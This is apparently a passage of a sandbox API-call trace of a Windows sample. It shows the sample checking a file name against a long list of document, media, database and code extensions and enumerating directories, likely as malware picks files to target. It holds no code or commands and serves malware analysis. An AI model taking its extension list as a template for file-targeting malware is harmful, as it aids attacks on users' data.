	[0069.312] lstrlenW (lpString=".cub") returned 4
	[0069.312] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1
	[0069.312] lstrlenW (lpString=".dae") returned 4
	[0069.312] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1
	[0069.312] lstrlenW (lpString=".dat") returned 4
	[0069.312] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1
	[0069.312] lstrlenW (lpString=".db") returned 3
	[0069.312] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1
	[0069.312] lstrlenW (lpString=".dbf") returned 4
	[0069.312] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0069.312] lstrlenW (lpString=".dbx") returned 4
	[0069.312] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1
	[0069.312] lstrlenW (lpString=".dc3") returned 4
	[0069.312] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1
	[0069.312] lstrlenW (lpString=".dcm") returned 4
	[0069.312] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1
	[0069.313] lstrlenW (lpString=".dcr") returned 4
	[0069.313] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1
	[0069.313] lstrlenW (lpString=".der") returned 4
	[0069.313] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1
	[0069.313] lstrlenW (lpString=".dib") returned 4
	[0069.313] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1
	[0069.313] lstrlenW (lpString=".dic") returned 4
	[0069.313] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1
	[0069.313] lstrlenW (lpString=".dif") returned 4
	[0069.313] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1
	[0069.313] lstrlenW (lpString=".divx") returned 5
	[0069.313] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1
	[0069.313] lstrlenW (lpString=".djvu") returned 5
	[0069.313] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1
	[0069.313] lstrlenW (lpString=".dng") returned 4
	[0069.313] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1
	[0069.313] lstrlenW (lpString=".doc") returned 4
	[0069.313] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0069.313] lstrlenW (lpString=".docm") returned 5
	[0069.313] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1
	[0069.313] lstrlenW (lpString=".docx") returned 5
	[0069.313] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0069.313] lstrlenW (lpString=".dot") returned 4
	[0069.313] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1
	[0069.313] lstrlenW (lpString=".dotm") returned 5
	[0069.313] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1
	[0069.313] lstrlenW (lpString=".dotx") returned 5
	[0069.313] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1
	[0069.313] lstrlenW (lpString=".dpx") returned 4
	[0069.313] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1
	[0069.313] lstrlenW (lpString=".dqy") returned 4
	[0069.313] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1
	[0069.313] lstrlenW (lpString=".dsn") returned 4
	[0069.313] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1
	[0069.313] lstrlenW (lpString=".dt") returned 3
	[0069.314] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1
	[0069.314] lstrlenW (lpString=".dtd") returned 4
	[0069.314] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1
	[0069.314] lstrlenW (lpString=".dwg") returned 4
	[0069.314] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1
	[0069.314] lstrlenW (lpString=".dwt") returned 4
	[0069.314] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1
	[0069.314] lstrlenW (lpString=".dx") returned 3
	[0069.314] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1
	[0069.314] lstrlenW (lpString=".dxf") returned 4
	[0069.314] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1
	[0069.314] lstrlenW (lpString=".edml") returned 5
	[0069.314] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1
	[0069.314] lstrlenW (lpString=".efd") returned 4
	[0069.314] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1
	[0069.314] lstrlenW (lpString=".elf") returned 4
	[0069.314] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1
	[0069.314] lstrlenW (lpString=".emf") returned 4
	[0069.314] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1
	[0069.314] lstrlenW (lpString=".emz") returned 4
	[0069.314] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1
	[0069.314] lstrlenW (lpString=".epf") returned 4
	[0069.314] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1
	[0069.314] lstrlenW (lpString=".eps") returned 4
	[0069.314] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1
	[0069.314] lstrlenW (lpString=".epsf") returned 5
	[0069.314] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1
	[0069.314] lstrlenW (lpString=".epsp") returned 5
	[0069.314] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1
	[0069.314] lstrlenW (lpString=".erf") returned 4
	[0069.314] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1
	[0069.314] lstrlenW (lpString=".exr") returned 4
	[0069.314] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1
	[0069.314] lstrlenW (lpString=".f4v") returned 4
	[0069.315] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1
	[0069.315] lstrlenW (lpString=".fido") returned 5
	[0069.315] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1
	[0069.315] lstrlenW (lpString=".flm") returned 4
	[0069.315] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1
	[0069.315] lstrlenW (lpString=".flv") returned 4
	[0069.315] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1
	[0069.315] lstrlenW (lpString=".frm") returned 4
	[0069.315] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1
	[0069.315] lstrlenW (lpString=".fxg") returned 4
	[0069.315] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1
	[0069.315] lstrlenW (lpString=".geo") returned 4
	[0069.315] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1
	[0069.315] lstrlenW (lpString=".gif") returned 4
	[0069.315] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1
	[0069.315] lstrlenW (lpString=".grs") returned 4
	[0069.315] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1
	[0069.315] lstrlenW (lpString=".gz") returned 3
	[0069.315] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1
	[0069.315] lstrlenW (lpString=".h") returned 2
	[0069.315] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1
	[0069.315] lstrlenW (lpString=".hdr") returned 4
	[0069.315] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1
	[0069.315] lstrlenW (lpString=".hpp") returned 4
	[0069.315] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1
	[0069.315] lstrlenW (lpString=".hta") returned 4
	[0069.315] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1
	[0069.315] lstrlenW (lpString=".htc") returned 4
	[0069.315] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1
	[0069.315] lstrlenW (lpString=".htm") returned 4
	[0069.315] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1
	[0069.315] lstrlenW (lpString=".html") returned 5
	[0069.315] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1
	[0069.315] lstrlenW (lpString=".icb") returned 4
	[0069.316] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1
	[0069.316] lstrlenW (lpString=".ics") returned 4
	[0069.316] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1
	[0069.654] lstrlenW (lpString=".iff") returned 4
	[0069.654] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1
	[0069.654] lstrlenW (lpString=".inc") returned 4
	[0069.655] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1
	[0069.655] lstrlenW (lpString=".indd") returned 5
	[0069.655] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1
	[0069.655] lstrlenW (lpString=".ini") returned 4
	[0069.655] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1
	[0069.655] lstrlenW (lpString=".iqy") returned 4
	[0069.655] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1
	[0069.655] lstrlenW (lpString=".j2c") returned 4
	[0069.655] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1
	[0069.655] lstrlenW (lpString=".j2k") returned 4
	[0069.655] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1
	[0069.655] lstrlenW (lpString=".java") returned 5
	[0069.655] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1
	[0069.655] lstrlenW (lpString=".jp2") returned 4
	[0069.655] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1
	[0069.655] lstrlenW (lpString=".jpc") returned 4
	[0069.655] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1
	[0069.655] lstrlenW (lpString=".jpe") returned 4
	[0069.655] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1
	[0069.655] lstrlenW (lpString=".jpeg") returned 5
	[0069.655] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1
	[0069.655] lstrlenW (lpString=".jpf") returned 4
	[0069.655] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1
	[0069.655] lstrlenW (lpString=".jpg") returned 4
	[0069.655] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0069.655] lstrlenW (lpString=".jpx") returned 4
	[0069.655] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1
	[0069.655] lstrlenW (lpString=".js") returned 3
	[0069.655] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1
	[0069.655] lstrlenW (lpString=".jsf") returned 4
	[0069.655] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1
	[0069.655] lstrlenW (lpString=".json") returned 5
	[0069.655] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1
	[0069.655] lstrlenW (lpString=".jsp") returned 4
	[0069.656] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1
	[0069.656] lstrlenW (lpString=".kdc") returned 4
	[0069.656] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1
	[0069.656] lstrlenW (lpString=".kmz") returned 4
	[0069.656] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1
	[0069.656] lstrlenW (lpString=".kwm") returned 4
	[0069.656] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1
	[0069.656] lstrlenW (lpString=".lasso") returned 6
	[0069.656] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1
	[0069.656] lstrlenW (lpString=".lbi") returned 4
	[0069.656] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1
	[0069.656] lstrlenW (lpString=".lgf") returned 4
	[0069.656] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1
	[0069.656] lstrlenW (lpString=".lgp") returned 4
	[0069.656] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1
	[0069.656] lstrlenW (lpString=".log") returned 4
	[0069.656] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1
	[0069.656] lstrlenW (lpString=".m1v") returned 4
	[0069.656] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1
	[0069.656] lstrlenW (lpString=".m4a") returned 4
	[0069.656] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1
	[0069.656] lstrlenW (lpString=".m4v") returned 4
	[0069.656] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1
	[0069.656] lstrlenW (lpString=".max") returned 4
	[0069.656] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1
	[0069.656] lstrlenW (lpString=".md") returned 3
	[0069.656] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1
	[0069.656] lstrlenW (lpString=".mda") returned 4
	[0069.656] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1
	[0069.656] lstrlenW (lpString=".mdb") returned 4
	[0069.656] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1
	[0069.656] lstrlenW (lpString=".mde") returned 4
	[0069.656] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1
	[0069.656] lstrlenW (lpString=".mdf") returned 4
	[0069.656] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1
	[0069.656] lstrlenW (lpString=".mdw") returned 4
	[0069.657] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1
	[0069.657] lstrlenW (lpString=".mef") returned 4
	[0069.657] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1
	[0069.657] lstrlenW (lpString=".mft") returned 4
	[0069.657] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1
	[0069.657] lstrlenW (lpString=".mfw") returned 4
	[0069.657] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1
	[0069.657] lstrlenW (lpString=".mht") returned 4
	[0069.657] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1
	[0069.657] lstrlenW (lpString=".mhtml") returned 6
	[0069.657] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1
	[0069.657] lstrlenW (lpString=".mka") returned 4
	[0069.657] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1
	[0069.657] lstrlenW (lpString=".mkidx") returned 6
	[0069.657] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1
	[0069.657] lstrlenW (lpString=".mkv") returned 4
	[0069.657] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1
	[0069.657] lstrlenW (lpString=".mos") returned 4
	[0069.657] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1
	[0069.657] lstrlenW (lpString=".mov") returned 4
	[0069.657] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1
	[0069.657] lstrlenW (lpString=".mp3") returned 4
	[0069.657] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1
	[0069.657] lstrlenW (lpString=".mp4") returned 4
	[0069.657] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1
	[0069.657] lstrlenW (lpString=".mpeg") returned 5
	[0069.657] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1
	[0069.657] lstrlenW (lpString=".mpg") returned 4
	[0069.657] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1
	[0069.657] lstrlenW (lpString=".mpv") returned 4
	[0069.657] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1
	[0069.657] lstrlenW (lpString=".mrw") returned 4
	[0069.657] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1
	[0069.658] lstrlenW (lpString=".msg") returned 4
	[0069.658] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1
	[0069.658] lstrlenW (lpString=".mxl") returned 4
	[0069.658] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1
	[0069.658] lstrlenW (lpString=".myd") returned 4
	[0069.658] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1
	[0069.658] lstrlenW (lpString=".myi") returned 4
	[0069.658] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1
	[0069.658] lstrlenW (lpString=".nef") returned 4
	[0069.658] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1
	[0069.658] lstrlenW (lpString=".nrw") returned 4
	[0069.658] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1
	[0069.658] lstrlenW (lpString=".obj") returned 4
	[0069.658] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1
	[0069.658] lstrlenW (lpString=".odb") returned 4
	[0069.658] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1
	[0069.658] lstrlenW (lpString=".odc") returned 4
	[0069.658] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1
	[0069.658] lstrlenW (lpString=".odm") returned 4
	[0069.658] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1
	[0069.658] lstrlenW (lpString=".odp") returned 4
	[0069.658] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1
	[0069.658] lstrlenW (lpString=".ods") returned 4
	[0069.658] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1
	[0069.658] lstrlenW (lpString=".oft") returned 4
	[0069.658] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1
	[0069.658] lstrlenW (lpString=".one") returned 4
	[0069.658] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1
	[0069.658] lstrlenW (lpString=".onepkg") returned 7
	[0069.658] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1
	[0069.658] lstrlenW (lpString=".onetoc2") returned 8
	[0069.658] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1
	[0069.658] lstrlenW (lpString=".opt") returned 4
	[0069.658] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1
	[0069.659] lstrlenW (lpString=".oqy") returned 4
	[0069.659] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1
	[0069.659] lstrlenW (lpString=".orf") returned 4
	[0069.659] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1
	[0069.659] lstrlenW (lpString=".p12") returned 4
	[0069.659] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1
	[0069.659] lstrlenW (lpString=".p7b") returned 4
	[0069.659] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1
	[0069.659] lstrlenW (lpString=".p7c") returned 4
	[0069.659] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1
	[0069.659] lstrlenW (lpString=".pam") returned 4
	[0069.659] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1
	[0069.659] lstrlenW (lpString=".pbm") returned 4
	[0069.659] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1
	[0069.659] lstrlenW (lpString=".pct") returned 4
	[0069.659] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1
	[0069.659] lstrlenW (lpString=".pcx") returned 4
	[0069.659] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1
	[0069.659] lstrlenW (lpString=".pdd") returned 4
	[0069.659] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1
	[0069.659] lstrlenW (lpString=".pdf") returned 4
	[0069.659] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0069.659] lstrlenW (lpString=".pdp") returned 4
	[0069.659] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1
	[0069.659] lstrlenW (lpString=".pef") returned 4
	[0069.659] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1
	[0069.659] lstrlenW (lpString=".pem") returned 4
	[0069.659] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1
	[0069.659] lstrlenW (lpString=".pff") returned 4
	[0069.660] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1
	[0069.660] lstrlenW (lpString=".pfm") returned 4
	[0069.660] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1
	[0069.660] lstrlenW (lpString=".pfx") returned 4
	[0069.660] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1
	[0069.660] lstrlenW (lpString=".pgm") returned 4
	[0069.660] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1
	[0069.660] lstrlenW (lpString=".php") returned 4
	[0069.660] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1
	[0069.660] lstrlenW (lpString=".php3") returned 5
	[0069.660] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1
	[0069.660] lstrlenW (lpString=".php4") returned 5
	[0069.660] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1
	[0069.660] lstrlenW (lpString=".php5") returned 5
	[0069.660] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1
	[0069.660] lstrlenW (lpString=".phtml") returned 6
	[0069.660] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1
	[0069.660] lstrlenW (lpString=".pict") returned 5
	[0069.660] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1
	[0069.660] lstrlenW (lpString=".pl") returned 3
	[0069.660] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1
	[0069.660] lstrlenW (lpString=".pls") returned 4
	[0069.660] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1
	[0069.660] lstrlenW (lpString=".pm") returned 3
	[0069.660] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1
	[0069.660] lstrlenW (lpString=".png") returned 4
	[0069.660] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1
	[0069.660] lstrlenW (lpString=".pnm") returned 4
	[0069.660] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1
	[0069.660] lstrlenW (lpString=".pot") returned 4
	[0069.660] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1
	[0069.660] lstrlenW (lpString=".potm") returned 5
	[0069.660] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1
	[0069.661] lstrlenW (lpString=".potx") returned 5
	[0069.661] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1
	[0069.661] lstrlenW (lpString=".ppa") returned 4
	[0069.661] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1
	[0069.661] lstrlenW (lpString=".ppam") returned 5
	[0069.661] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1
	[0069.661] lstrlenW (lpString=".ppm") returned 4
	[0069.661] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1
	[0069.661] lstrlenW (lpString=".pps") returned 4
	[0069.661] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1
	[0069.661] lstrlenW (lpString=".ppsm") returned 5
	[0069.661] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1
	[0069.661] lstrlenW (lpString=".ppt") returned 4
	[0069.661] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0069.661] lstrlenW (lpString=".pptm") returned 5
	[0069.661] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1
	[0069.661] lstrlenW (lpString=".pptx") returned 5
	[0069.661] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1
	[0069.661] lstrlenW (lpString=".prn") returned 4
	[0069.661] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1
	[0069.661] lstrlenW (lpString=".ps") returned 3
	[0069.661] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1
	[0069.661] lstrlenW (lpString=".psb") returned 4
	[0069.661] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1
	[0069.661] lstrlenW (lpString=".psd") returned 4
	[0069.661] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1
	[0069.661] lstrlenW (lpString=".pst") returned 4
	[0069.661] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1
	[0069.661] lstrlenW (lpString=".ptx") returned 4
	[0069.661] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1
	[0069.661] lstrlenW (lpString=".pub") returned 4
	[0069.661] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1
	[0069.661] lstrlenW (lpString=".pwm") returned 4
	[0069.662] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1
	[0069.662] lstrlenW (lpString=".pxr") returned 4
	[0069.662] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1
	[0069.662] lstrlenW (lpString=".py") returned 3
	[0069.662] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1
	[0069.662] lstrlenW (lpString=".qt") returned 3
	[0069.662] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1
	[0069.662] lstrlenW (lpString=".r3d") returned 4
	[0069.662] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1
	[0069.662] lstrlenW (lpString=".raf") returned 4
	[0069.662] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1
	[0069.662] lstrlenW (lpString=".rar") returned 4
	[0069.662] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0069.662] FindNextFileW (in: hFindFile=0x3121510, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12fb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0069.662] FindNextFileW (in: hFindFile=0x3121510, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0069.662] FindNextFileW (in: hFindFile=0x3121510, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0069.662] FindClose (in: hFindFile=0x3121510 | out: hFindFile=0x3121510) returned 1
	[0069.662] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3110958 | out: hHeap=0x500000) returned 1
	[0069.663] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1031", cAlternateFileName="")) returned 1
	[0069.663] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3110958
	[0069.663] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031") returned 26
	[0069.663] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3121610
	[0069.663] FindNextFileW (in: hFindFile=0x3121610, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
